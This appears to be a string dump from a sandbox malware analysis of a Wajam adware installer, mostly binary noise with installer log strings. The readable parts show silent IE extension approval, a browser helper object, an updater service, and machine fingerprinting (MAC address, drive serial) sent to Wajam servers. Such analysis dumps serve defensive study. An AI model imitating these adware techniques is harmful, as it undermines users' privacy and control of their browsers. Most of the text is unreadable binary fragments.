error () Service did not install.S: error - InstallService fails - Reason: "\Wajam\Updater\WajamUpdater.exe" /ServiceS: error () - ExecWait registering serviceS: Service doesn't exists.StartServiceS: success - StartServiceS: success - ServiceIsRunningS: success - Service is runningS: error - Service is not runningS: error () - StartServiceS: error - StartService fails - Reason: S: error - Service is not running, no error code returnedS: error () - ServiceIsRunning - Couldn't install service!SR: ------------------------------------------------------------user32::GetSystemMetrics(i 67) i .r0BV: Normal bootBV: Fail-safe bootBV: Fail-safe with network bootBV: \Wajam\UpdaterupdateURLhttp://www.wajam.com/update/Updater/wajam_update.exeS: success - Service registeredS: success - Service startedS: error - Service coud not startS: error - Service could not be registered.S: error - A service is still present, it could not be removed.ESR: ------------------------------------------------------------Install Wajam on Internet ExplorerCLSID\{431532BD-0AE1-4ABC-BE8C-919F3D1332E2}\InProcServer32Software\Microsoft\Windows\CurrentVersion\Uninstall\WajamDisplayNameUninstallString\Wajam\uninstall.exeInstallLocationDisplayIcon\Wajam\IE\favicon.icoPublisherInstallSourceRegOwnerRegCompanyHelpLinkhttp://www.wajam.com/contact_us.phpURLInfoAbouthttp://www.wajam.comDisplayVersion1.92NoModifyNoRepairwajamLogo.bmpSoftware\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.exeSoftware\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.exe\Wajam\IE\uninstall.exe\Wajam\IE\waitBHOEnable.exe\Wajam\IE\wajam.dll\Wajam\IE\resCollect addons list on IE:Software\Microsoft\Internet Explorer\Approved Extensionsinstalled_ie_addon: \Wajam\Wajam\uninstall.lnkKernel32::GetVolumeInformation(t,t,i,*i,*i,*i,t,i) i("",,1024,.r0,,,,1024)Function: PostInstallLogsToServerhttp://www.wajam.com/client_send_debug_info.php\Wajam\install.log\install2.log?v=i1.92&unique_id=&aid=&aid2=&major_version=&minor_version=&decline=1/nocookies/filepost\dummy.htmShell32::FindExecutable(t '\dummy.htm', i 0, t .r2)DEFAULT: Finding the default browser in: DEFAULT: Could not find default_browser_path: ''Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoiceProgidDEFAULT: HKCR - Progid ''\shell\open\commandDEFAULT: HKCR - Found '' in '\shell\open\command'DEFAULT: HKCR - Extracted default browser ''DEFAULT: Error - Could not extract browser from HKCRDEFAULT: Default browser is Function: .OnInit3673\image.bmp/S/IE/FF/CH/ALL/DEFAULT/DAID/NO_LANDING_PAGE_FF/NO_LANDING_PAGE_CH/NO_LANDING_PAGE_IE/NO_LANDING_PAGEABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/aidno_restart_dialogsleepdont_use_postno_traceP: original ''P: default_aid: ''P: param_silent: ''P: install_ie: ''P: install_ch: ''P: install_ff: ''P: command_line_parameters: ''P: decoded_argument_string: ''P: param_aid: ''P: param_no_restart_dialog: ''P: param_sleep: ''P: param_no_trace: ''P: param_dont_use_post: ''Cannot launch the EXE, no id found.\IpConfig.dllGetEnabledNetworkAdaptersIDs+1{GetNetworkAdapterDescription E+1-+GetNetworkAdapterMACAddress%08X\DcryptDll.dll--End--SSMD5Hashunique_idaffiliate_idaffiliate_id_2SOFTWARE\Microsoft\Windows NT\CurrentVersionBuildLabExBuildLabinstall_timestamphttp://www.wajam.com/installer/start?aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp=\nsisos.dllosversion\GetVersion.dllWindowsPlatformArchitectureTR: http://www.wajam.com/installer/start?aid=&aid2=&unique_id= ()C: Drive: ''C: Mac Address was: ''C: LocalAppData: ''C: Drive Serial was: C: Unique_id: C: BuildLabEx: Software\Microsoft\Internet Explorer9.119.10Function .onInstSuccessSoftware\Microsoft\Internet Explorer\ApprovedExtensionsMigrationIE_approveExt.exeIE_approveExt.exe {A7A6995D-6EE1-4FD1-A258-49395D5BF99C}\Wajam\IE\IE_approveExt.exe6446644764486449645059205921592212211222300385233672Chrome_WidgetWin_0Browser restart: No browsers are open.Wajam will be activated once you restart your browsers. Do you want to restart all of your browsers now?Browser restart: NOWClosing IEClosed IE in msClosing CHClosed CHBrowser restart: LATERCLSID\{431532BD-0AE1-4ABC-BE8C-919F3D1332E2}\InprocServer32\Wajam\IE\priam_bho.dllDllRegisterServerDllUnregisterServer2000http://www.wajam.com/index.php?firstrun=1http://www.wajam.com/index.php?firstrun=1&update=&unique_id=&aid=&aid2=&enabled=1&tv=1.92-13&install_timestamp=&clp=skip_new_tabClosing FF3000http://www.wajam.com/installer/post_install?aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp=FIRSTRUN: choose another browserFIRSTRUN: CH defaultFIRSTRUN: FF defaulthttp\shell\open\commandFIRSTRUN: Fallback to '' in ''FIRSTRUN: IE defaultrecreb\ChromeWajamPrefUpdate.exe\Chrome\WajamPrefUpdate.exehttp://www.wajam.com/installer/finish?aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp=Error! Can't initialize plug-ins directory. Please try again later.Nullsoft Install System v2.46 SetupCan't write: Could not find symbol: Could not load: Create folder: Create shortcut: Delete file: Delete on reboot: Error creating shortcut: Error decompressing data! Corrupted installer?ExecShell: Execute: Extract: Extract: error writing to file Installer corrupted: invalid opcodeNo OLE for: Output folder: Remove folder: Skipped: Copy Details To ClipboardError opening file for writing:

Ansi based on Dropped File (nsqE177.tmp)

0Ye~htWh0AuAtWYEWj\0YE~lt#WpY;=At@At?uWYEV7Yuj

Ansi based on Dropped File (nsqE177.tmp)

0Yj0YVW0A5$AuNhjYYt:V5$A5AX1AtjVYYd0ANVnY3W1A_^VujCY^jhcAuF$tP!YF,tPYF4tPYF<tPYF@tPYFDtPYFHtPYF\=AAtPYj

Ansi based on Dropped File (nsqE177.tmp)

1$1*10171F1M1S1Y1`1o1v1|111111111120292c2k2r2z22222222223(3-343<3E3L3W3f3~333333333333344.4F4K4W4p4v44444444444455!5*5;5o5z5555555556,626g6w6666666666666777%7-7P7W7\7q7y777777778888!8*858=8O8Y8a8k8r88888888888

Ansi based on Dropped File (nsqE177.tmp)

1)$)x<FisAPZ+W0FZ'kwPKGBP}}#META-INF/WajamsCOMODOCALimitedID.sfO0Qq$sA`r(P

Ansi based on Dropped File (nsqE177.tmp)

1-jBv<af+0sFqgPx[IVlK?<p"yV-*4v=To21`CXV0&zdtZOvEwv9[&Q#@;QtR86+T88@#x\FG/~AD!8|1@.fX2|jRR;iGd}E~[v\SY%@9r[?-.eBg?'P(5<l?5}Eya=Y)% a>-`tD&S.eb=\jugD!`F1VjC3Kw7Fa5"JwM(B

Ansi based on Dropped File (nsqE177.tmp)

1.1.0.7

Unicode based on Dropped File (priam_bho.dll.1505483275)

110603000000Z

Ansi based on Dropped File (nsqE177.tmp)

111"1*121:1B1J1R1Z111111111111X2_234m444<55556667:8W8b8m8u888888888888899)959=9H9N9[9a9{999999999999:#:;:Z:r:z:::;?;];<<<<<<<==="=)=K===1>O>T>Z>>>>>*?3?I?o?{????? $0-0=0E0K0T0[0`0f0y0000000011131B1R1r1111111262F2L2T22222222393I3S3Y3a3g3m3t3~3%4M4k4w444445+5S5l555555667_8w888888;];m;;;;;;<=">6>>>T>l>z>>>>>>?7?d?m?????00S00012222T222222'3:3N3333333333333333!4*414444444#5-575?5E5S5n555555555V6_666#;@,01111&1.1~4446666E7g788>9E9W9u9~999_:k:r:|:::::::::::::;;;$;.;6;>;F;N;V;^;;;;;;;; <(<6<;<T<d<u<<<<<<<<<<== =2=:=B=J=R=Z=b=j=r=z=================>

Ansi based on Dropped File (nsqE177.tmp)

120602235959Z010UCA10

Ansi based on Dropped File (nsqE177.tmp)

1409943890

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

1560965831

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

17"Zctggg^^^uuu|||yyy^^^VVV]]]nnnB0333333UzCvY.333333.MP<Zp0z#AP_PXK[Uie;wSooY|_1P]*RC_z:z"UmRRRuuufffHHH

Ansi based on Dropped File (nsqE177.tmp)

187.tmp\ExecCmd.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

1_ldr.170913-0600

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

1D"I!hT8n/[t gqaxT~AX{eK;r$4]PVs ;ZGHx:@rs'0z)Gc$I-\,&^woo}%e>sWP^P0Kn'!uS0BMk}=U,@~3@c5A~UQND_4v` =70LF7ePT@'/7l$GP!3

Ansi based on Dropped File (nsqE177.tmp)

1E!Suw2sG

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

1fF%t=u"fFt>u~t@1C.-?iM@E+ES]v[}0@}fEAt<@Eu{D*f00fJu2}}y1w;}r}s'|;5r%D;Ox

Ansi based on Dropped File (nsqE177.tmp)

1I(x^Kn]Gim2H5

Ansi based on Dropped File (nsqE177.tmp)

1jC<n[07L-

Ansi based on Dropped File (nsqE177.tmp)

1sb.wajam.com/shorturl.php

Unicode based on Dropped File (priam_bho.dll.1505483275)

1Y2[VAz"@9P[[U%0l[G4[7o+(

Ansi based on Dropped File (nsqE177.tmp)

2- floating point support not loaded

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

222&2-242C2R2\2m2u2{22222222v33333334Q4_4j444444444455#545<5O5[5j5x55555666J6U6\6f6p6666666677M7V7f777777778$8589%9D9|9999999999:

Ansi based on Dropped File (nsqE177.tmp)

2225221334D44G55556y6666e77777778A8O8e88M9999\::;=;;;(<]<<<)=U===9>e>>>@?u???1E11102e222<3q333I4{4G555U666@7u778`888&999:3:X:}:::

Ansi based on Dropped File (nsqE177.tmp)

238t1]N>@

Ansi based on Dropped File (nsqE177.tmp)

2:#wH<//D/SN4E8\2%t5Iw/!(yU~eSC1*;D;je

Ansi based on Dropped File (nsqE177.tmp)

2byv@QlDI]bh ABC-yo?R9+O=[&:-RIQb-<J4,LD|#h9DWBhek!LV*j IIWA

Ansi based on Dropped File (nsqE177.tmp)

2D53CFFC5C1A3DD2E97B7979AC2A92BD59BC839E81

Unicode based on Runtime Data (iexplore.exe )

2G=?Mgqq<=D<W#Q&Y,\\q;)eT~`1^e"fgZIEFce/w1~)"N/}.L&0#w:|X

Ansi based on Dropped File (nsqE177.tmp)

2O*Pz|1*jn

Ansi based on Dropped File (nsqE177.tmp)

2p|p^,!A0m

Ansi based on Dropped File (nsqE177.tmp)

2v`q }s!*dx

Ansi based on Dropped File (nsqE177.tmp)

2w :_#'8"&aM`K-8p7Yr7|!V<<cVgik#STEMWt=gHvC?5oG-Xi-Ov/0'TO6l1y&Yj@Gpk,`HlnT10.`.4h-5q]wJ1YX\:o,IyWVv'4*1

Ansi based on Dropped File (nsqE177.tmp)

3!3233333o4v444556D77=8888"999994:M::::;;z;;;p<<<<<<== =0=D=a===>?+?P,1&112345@6667778899`111-5\5b5q5B6J6666X7d7n777788$838V8[8`8w8-:V::;;;;;<<<(<0<;<<<<<T=Z=`=f=l=r=y=================>

Ansi based on Dropped File (nsqE177.tmp)

3";";#=&B(WcvJJJ[[[XXXzzzTTT```xxxTTTZZZ???zzzcccnnn\\\zzzd1888869qV3888888,P~)ZaZ[@S^T0\{hqhwkBy[^tkL1O[~(R/\Ya:TgGGG;;;---???$,

Ansi based on Dropped File (nsqE177.tmp)

3*y!LF0,f/i4R_"q-1B;1mqV|xb[Xz%ok2/l[$XGp<B`&QAOK62Fc(a\56HIEE1VZ5,&&*oYn;im,m

Ansi based on Dropped File (nsqE177.tmp)

3+@E%uYZ]_^[UQSVW=@uu

Ansi based on Dropped File (nsqE177.tmp)

3- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476; for (k=0;k<x.length;k+=16) {AA=a; BB=b; CC=c; DD=d;a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);c=FF(c,d,a,b,x[k+2], S13,0x242070DB);b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);c=FF(c,d,a,b,x[k+6], S13,0xA8304613);b=FF(b,c,d,a,x[k+7], S14,0xFD469501);a=FF(a,b,c,d,x[k+8], S11,0x698098D8);d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);a=FF(a,b,c,d,x[k+12],S11,0x6B901122);d=FF(d,a,b,c,x[k+13],S12,0xFD987193);c=FF(c,d,a,b,x[k+14],S13,0xA679438E);b=FF(b,c,d,a,x[k+15],S14,0x49B40821);a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);d=GG(d,a,b,c,x[k+6], S22,0xC040B340);c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);

Ansi based on Dropped File (priam_bho.dll.1505483275)

30@3^[$PRQ4&YZXu1@S&[S&%3[@VW9wt/x*_^t1|9x_^SfHftIfs3=@t=@u3gtO[@P@SV3fCf=r/f=w)f%f=uSuS$tH@t

Ansi based on Dropped File (nsqE177.tmp)

30QQy7^THH)<FiJ64DV6U<hW65#G.1MB)[vGW/z`^:7zxJG4,9#*Di2:(\b;1h?YkzVI,e" g\>]K].u)@,|;Sk4rI5%G2svV~;6OmIVrHg6ZuQA3^CJ?j96kjfi

Ansi based on Dropped File (nsqE177.tmp)

339MMJtj\Yfuft$9Uu

Ansi based on Dropped File (nsqE177.tmp)

39);d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);a=II(a,b,c,d,x[k+0], S41,0xF4292244);d=II(d,a,b,c,x[k+7], S42,0x432AFF97);c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);b=II(b,c,d,a,x[k+5], S44,0xFC93A039);a=II(a,b,c,d,x[k+12],S41,0x655B59C3);d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);b=II(b,c,d,a,x[k+1], S44,0x85845DD1);a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);c=II(c,d,a,b,x[k+6], S43,0xA3014314);b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);a=II(a,b,c,d,x[k+4], S41,0xF7537E82);d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);b=II(b,c,d,a,x[k+9], S44,0xEB86D391);a=AddUnsigned(a,AA);b=AddUnsigned(b,BB);c=AddUnsigned(c,CC);d=AddUnsigned(d,DD);} var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);retVal = temp.

Ansi based on Dropped File (priam_bho.dll.1505483275)

3]EAEjppEPQEPEjP u8EtE`p3E#E}tMap[U,DA3EESVW}EU~?I8t@u+}u~*I8t@u+u}3|e}u@Et;ujX3C;~;~jEPu1At~-}r}EtPtM:r:v8u~4}r}EtPtM:r:u8uw50AjjWuju]~@j3Xr4D;w5tP^YtEe}Suuujujjuujutx~?j3Xr3D;wtP|^Yt3t1SWuujutSWuuuul0AEWOYuOEYe_^[M3HUuMOu$Uu Muuuub}tMapUSuM^OU3;u8]tE`p39]u&2lk8]tE`p9]tV;vkkKEH;uEPRuu ?pERuRuhQP ;uk8]tE`p8]tMap^[UV5A!WPuu

Ansi based on Dropped File (nsqE177.tmp)

3AMVW9]tuIYVuIYYt;s+VjS

Ansi based on Dropped File (nsqE177.tmp)

3E3Uh$@d2d"=E@t

Ansi based on Dropped File (nsqE177.tmp)

3ET3Uh @d1d!=E@t

Ansi based on Dropped File (nsqE177.tmp)

3G!u!huuP1AWGu_^[]USV52AWPEPftOf;u9f t3ft-=1ASuEPEPfuftf tfuftf tftf;@3_^[]UVWt.51Af?t"Eftf9tPuWu3_^]WUQSVW{397tU9st7;uVVjh0AwvFVE?uYu!w!sC(;tPQS0A7_^[UESV0^WPjuuKE;}DPVROPQM;2_FIVPEM_^[]hA9P}~W9jRPW_uVWH;~x~WV4-@;}&@~+;}_^Uuu0Au]VPp0At#uu0AjY;sItVu;r3#^]@3@3UVEtVY^]9j AueFxtP@0At

Ansi based on Dropped File (nsqE177.tmp)

3gLXh5fF,$'iQaAAKlgOlz<8d*Q'

Ansi based on Dropped File (nsqE177.tmp)

3MM3AWf;y@St tRHtCt-

Ansi based on Dropped File (nsqE177.tmp)

3om{xC{X/1ZgBL`dVCJe"?H1iX]

Ansi based on Dropped File (nsqE177.tmp)

3pPgZ:uZ#wuPA9ck {<Xf&YF=?kE'hsk=!G>:fZG-~75+d\6GtDj\@(b'<_0u,'RnHf(G,0?.sP((Z<@4l%+aOA:

Ansi based on Dropped File (nsqE177.tmp)

3System.dllAllocCallCopyFreeGetInt64OpStore%dcallback%derrorokA00#070@0000000000001S1Y1b1g111111112/252H2P22222222233E3b3k3333333445

Ansi based on Dropped File (nsqE177.tmp)

3Uh@d0d 3Ejjh@lE}jEPEPSE}_EP-E}6h@h@ePgE}EPjjjEPUrzEOEEPEPEPjEPUEUEURE URExrE@UE@@UExrE@@UE@@UExr&E@@UE@@UPqEE>qE4qEEP!qEEPqEEPpE3ZYYdh@EYE]QueryServiceConfig2Wadvapi32.dllUUEE3Uhy@d0d 3Ejjh@;E}jEPEP"E}EPE}h@h@4P6E}toEPjjjEPUuPozuFE*EEPEPEPjEPUtE8@UoEEoEoEEPoEEPsoEEP`oE3ZYYdh@E$E]QueryServiceConfig2Wadvapi32.dllUUEED3Uh@d0d 3Ejjh @E}jEPEPE}EPdE}h$@h<@PE}toEPjjjEPUuP[nzuFEEEPEPEPjEPUtE8@UnEEvnEnEEPmEEPnmEEP[mE3ZYYdh@E&E]QueryServiceConfig2Wadvapi32.dllUUEEE3UhZ@d0d 3Ejjhh@E}jE|PEPE}vqEPE}tLhl@h@PE}tEPjEPUulElEEPlEEP*lEEPlE3ZYYdha@EgE]ChangeServiceConfig2Aadvapi32.dllUUEEd3Uh@d0d 3Ejjh@E}jE<PEPE}v[EPE}t6jjjjjjjjEPjEP ukEEP{kEEPmkEEPZkE3ZYYdh@EE]UMUEEaEYEQ3Uh@d0d 3Ejjh@EU@uEM@p}jEPEPvE}vgEPTE}tBjEPEPjjjjjjjEPuSjEEP;@jEEP-jEEPjE3ZYYdh@EsE]\.\UUEEE3Uh@d0d 3Ejjh@_E}jEPEPFE}v`EP$E}t;jjjjjjEPjjjEPu*iEEPiEEPiEEPhE3ZYYdh@EJE]UMUEEEE 3Uh@d0d 3E}t}t}uEEEEEEEEEEEEEEEEEEE EEEEjjh@E}EPELPEPE}vqEPE}tLh@h@PE}tEPjEPUugEgEEPuzgEEPggEEPTgE3ZYYdh@EEE E]ChangeServiceConfig2Aadvapi32.dllUUEE$3Uh@d0d 3E3EEjjh@{E}jEPEPbE}vqEP@E}tLh@h@|P~E}tEPjEPUu?fE5fEEP"fEEPfEEPeE3ZYYdh@EZE]ChangeServiceConfig2Aadvapi32.dllUUEE3Uh!@d0d 3E3EEjjh0@7E}jEPEPE}vqEPE}tLh4@hL@8P:E}tEPjEPUudEdEEPdEEP^dEEPKdE3ZYYdh(@E|E]ChangeServiceConfig2Aadvapi32.dllUUEE3Uh@d0d UEE}u}EE3ZYYdh@E}E]UUEE03Uh&@d0d UE'E}u}EE3ZYYdh-@EwE]UUEE3Uh@d0d UEE}u}EE3ZYYdh@EE]UMUEEUEM3Uh@d0d M3E>E}uMUEE3ZYYdh@E(E]@/U3MUEE3Uh@d0d WE0EPU@IEuh@ETU@_EU@CuE0uh@h@E3ZYYdh@EE=]US3]MUEEEEEEE3Uh}@d0d 3E}u3EUUEYEE}u3EEvE}u3EE^Eh?jh@E}vjEPEPEPjjE)PjEPEPhEPEPEP>E}tEP`EEPv`E3ZYYdh@E:EQEDE[]UEEg3Uhw@d0d 3Eh?jh@E}hE9PEPE}vPEPE}t+EPS@E}u_EEP_EEPu_EEPb_E3ZYYdh~@E&~E]UUEUEYY]U3Uh@d0d p@u@@@3ZYYdh@J~]-p@%@%@%@%@U3MUE3Uh@d0d 3E3E3EEPEPjEPjEPjulAzubEUEUEPEPExPEPEPEePju#EEOrE3E3ZYYdh@E;}E]U3MUEEE3Uh^@d0d 3EE@qEEAUEAEEUEE}UE}E}fEfEfEffEEEEPhEPj E3Uh,@d0d }ujEPEPEPEEE3ZYYdh3@EP|Ep3ZYYdhe@E`Ec{E]U3MUEEE3Uh@d0d 3EE|@TpEEiAUEExEUQEE}UEE}fEfEfEffEEEEPhEPjE3Uh@d0d }ujEPjEPEPEEE3ZYYdh@EPzEo3ZYYdh@EEwzE]UEE+3Uh@d0d 3EEPj(PK3Uh@d0d EPEPjt5EEEPEPjEPjEPu]ZESZE3ZYYdh@EPy-ZE3ZYYdh@EyE]UEE?3Uh@d0d 3EEPj(P_3Uhs@d0d EPEPj-t5EEEPEPjEPjEPuqYEgYE3ZYYdh@EPxAYE3ZYYdh@ExE]U3Uh@d0d t@3ZYYdh@jx]-t@UUE}tE@~

Ansi based on Dropped File (nsqE177.tmp)

3wA*3<L dx-Kl>Uv<Cx/P4?`pojBB+^p&``kXm)NN@{LOtXn;vmXN@z@Ne@<N1DDGDJL-km8Cv$;c!.QZjEHkQev?K_ajgB":h$wa[_+E&?jF4l>%K+

Ansi based on Dropped File (nsqE177.tmp)

3YRVh0@(BuVVW@Vu5C_^[C

Ansi based on Dropped File (nsqE177.tmp)

3ZYYdh!@ElfYY]@Ujj3Uh@d0d EPMUEAEq@EUE3ZYYdh@E2leYY]SeServiceLogonRightUjj3Uh@d0d EPMUEE4@ExUE3ZYYdh&@EkeYY]SeServiceLogonRightUjjj3Uh@d0d EPMUEEOEEUEEu3ZYYdh@Ekd]@U3Uh@d0d 3ZYYdh@Xd]@L@L@J@XJ@0M@M@N@XN@O@hO@`R@0R@@D@@@$@@\@,@@@@@@@@U@7i@@2@@@<@ @@$@@Runtime error at 00000000Error0123456789ABCDEFL@K@xK@K@X\@]@]@xP@P@@v:k:@

Ansi based on Dropped File (nsqE177.tmp)

3ZYYdh)@E{E{{u]@U3QQQQ3Uh@d0d EPMUE7EgE_EEUEuUE}3ZYYdh@E{Ezt]@U3QQQQ3UhB@d0d EPMUEEEEkEUEUE3ZYYdhI@EzE[zs]@Ujjj3Uh@d0d EPMUEEGUEUtEpEh3ZYYdh@Ezxs]Ujjj3Uh;@d0d EPMUEEUETUEE3ZYYdhB@Eyr]U3QQQQ3Uh@d0d EPMUEEOUEU|E3RPEEiEa3ZYYdh@ExExir]@Ujjj3UhK@d0d EPMUEEUEUEE3ZYYdhR@Evxq]Ujjj3Uh@d0d EPMUEE?UEUlEhE`3ZYYdh@Ewpq]U3QQQQ3UhZ@d0d EPMUEEUEUE3RPEEE3ZYYdha@EowECwp]@Ujjj3Uh@d0d EPMUEE/UE U\EXEP3ZYYdh@Ev`p]UjjIu3Uh*@d0d EPMUE}EEPEPEPEPEPEPEPMUEUE3RPEEUEEE3RPEE~UEoEkE3RPEETUEEEAE9E1E3RPENEE3ZYYdh1@EuEuEsu

Ansi based on Dropped File (nsqE177.tmp)

4 4$4(4,4044484<4

Ansi based on Dropped File (SimpleSC.dll.523064890)

44)43484>4D4N4U4`4|4444444J5w5}555556%6:6c6t66667$7C7W7{777777777878Q8Z8n88888888888

Ansi based on Dropped File (nsqE177.tmp)

44?4M4W4_4

Ansi based on Dropped File (nsqE177.tmp)

44CYb`NdQ|O0"X'|,N;h!^?\v~mqwn-{(VOTclN}}PTyvEAaJoIb:

Ansi based on Dropped File (nsqE177.tmp)

4>~o$OnKPKXRjs/priam_background.js=ksF*q>%'HVD%(%],%@Zg`$Ur$f_@k2OFE&<&YNZ,lg};O$NmvT.}R_@:-yE(Q[Mw&>f-Ne[0>t<Lr**PQ

Ansi based on Dropped File (nsqE177.tmp)

4??$?$~$JNR$$Vo

Ansi based on Dropped File (nsqE177.tmp)

4@=@EHmS1WV<tFOu^_[@S1WV<tFFOu^_[SVWL@@

Ansi based on Dropped File (nsqE177.tmp)

4@Z@Fm=,tY=tS-tU-t<HtHUq?r3t7G=t5-t(HtHt/-t%=t!

Ansi based on Dropped File (nsqE177.tmp)

4A3]UEuKjX]

Ansi based on Dropped File (nsqE177.tmp)

4jw'}0#U;<|+'x}$4,

Ansi based on Dropped File (nsqE177.tmp)

4Lq1DnJ&dj*yHb11uhZ,Sh@<BHW^eMt2Z~^

Ansi based on Dropped File (nsqE177.tmp)

4soBP`Yy NzzzhhhpppCCCPPPJJJ<<<jjj[[[AAAFFF888lll???UUUTTTCCCJJJ@@@pppsssaaa888ccc((({{{[[[HHHwwwhhh>>>OOO222kkkqqqNNNFFFCCC{{{666KKKMMMIIIHHHAAA<<<}}}CCCAAA999|||GGG333YYYMMM<<<JJJ666ooolll<<<@@@HHH>>>FFFLLL999jjjuuuSSSOOO)))IP!Me+A:(20:Lb&1H0GVm%:#)D7TyRi&%<9L =UQhdv

Ansi based on Dropped File (nsqE177.tmp)

4T,4pRTn}thvaw~4f14;

Ansi based on Dropped File (nsqE177.tmp)

4Y7X8Z:Z!C\oyyy~~~|nYpnuyeyuot~dx\qmq0K|1Ls]RHLUd}LU\]]UD{3f%TAs6e

Ansi based on Dropped File (nsqE177.tmp)

4|1A,08<t<u!33

Ansi based on Dropped File (nsqE177.tmp)

5)9?L)nO)OSZP

Ansi based on Dropped File (nsqE177.tmp)

5-/Cn =4{CA}H9gd7lN}P=\R"KdK8ie$1BnOf$e6'U^,0}(|cYg;~{

Ansi based on Dropped File (nsqE177.tmp)

Ansi based on Decrypted SSL Data (SSL)

55%5+53585x5|55555555555555555555555555555555566666666 6$6(6,6064686<6@6D6H6L6P6T6X6\6d6h6p6t6|6666666666666666666666777777$7(70747<7@7H7L7T7X7`7d7l7p7x7|777777777777777777777788888 8$8,80888<8K8W8b8v888888888888888999)939>9H9R9\9f9p9z999999999999:':F:N:V:^:f:n:v:~:::::::::::::;;&;3;?;L;^;o;z;;;;;;/<D<q<<==>>>K?l???d0N1111%2422293`3455555}666<7t77748H88999$:=:;D;X;;;{<<<=>>e>j>?40H000l111.2323l3333H444r5555567$77+8888x99:N:S::0;L;;;<t<<<=L====I>b>>>>>>>]??V000j111111112

Ansi based on Dropped File (nsqE177.tmp)

555!5*505=5C5K5\5b5555555555555$61686888?8888888888999*9V9o999999<::::::C;<*>v>>>|? 70>00.1u22223"3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3333333334*4445!5+595H5U5\555Z6a6n6y6666666666677*7S7~7777838:9A9J9P9X9^9c9h9m9r9w9MZ@!L!This program cannot be run in DOS mode.

Ansi based on Dropped File (nsqE177.tmp)

555ccc???555sssKKKhhhlllZZZNNN,,,mmmDDD111CCC}}}MMM---YYY[[[,,,999LLLjjjDDDsssLLL555---DDDKKK!!!VVV888hhhCCC///PPPXXXZZZFFF>>>iii@@@fff```RRR~~~...NNNKKK JJJ;;;iiiqqq[[[

Ansi based on Dropped File (nsqE177.tmp)

555tttRRRJJJSSSrrr444999zzz111777xxxIPzzzPZDDD~~~sssuuutttrrr{{{UUUwwwrrrtttmmmUUUsss---fff,,,IPDDD___wwwRZ???TTTkkklllrrrFFF///zzz,,,IPTTTSSSVVVNNNUUUXXXXXXEEEzzzvvvIIIqqq^^^LLLlllIIIgggSSSJJJOOOwww~~~@@@fffbbbIIIRRRttt===;;;999sssWWWDDDgggQQQeeeXXXPPP<<<fffVVVaaaRRRaaaHHHxxxFFFvvvqqqZZZooovvvBBBRRREEEFFF_eraZnnn}}}GGG^^^aaaeee+++@@@YYYIRaaa{{{VVVjjj]]]lllssstttaaaRRRCCC111VVVXXX}}}}}}WWWNNNsssMMMaaa~~~nnn'''JJJyyyuuuBBB~~~QQQbbbeeeAAAjjj~~~ooo}}}qqqNNNxxxxxxlllzzzppp\\\qqqY_EEE@@@MMMZZZuuu>>>QQQ\\\yyy333{{{IIIbbbAAAQQQbbbJJJhhhSSSNNNPPPMMM^^^???VVVlllMMM555\\\IR|||ddd~~~jjj{{{EEExxxeee[[[___ZZZVVV{{{VVVVVV<<<|||VVVTTT000[[[[[[000{{{---kkk+++KKKLLL'''~~~___qqqvvv[[[qqqrrr|||```iiitzabdjvggg|||eeehhhgggtttmmmmmmjjjpppzzzlll333wwwxxxzzzhhh{{{y0jU^pGIQaaalllvvvzzzCCCxxxYYYWWWtttWWWJJJyyyZZZlllbbbTTTYYY444PPPYYY777uuu777vvvPPP,,,HHHHHHVVViiimmmxxxYYYrrrnnnzzz{{{ddd_^"""pppaaaoooSSSbbbtttoooOOOWWWuuuRRRXXX~~~|||vvviiibbbtttGGGbbb^^^9\^ceggea[^sIPzzzaaammmsssqqqooo]]]oooqqqwwwwwwlllQQQppp___\\\MMMUUUrrrRRRQQQSSSuuugggggguuu^^^{{{|||jjjLLLOOO!!!QQQ}}}^^^AAA___m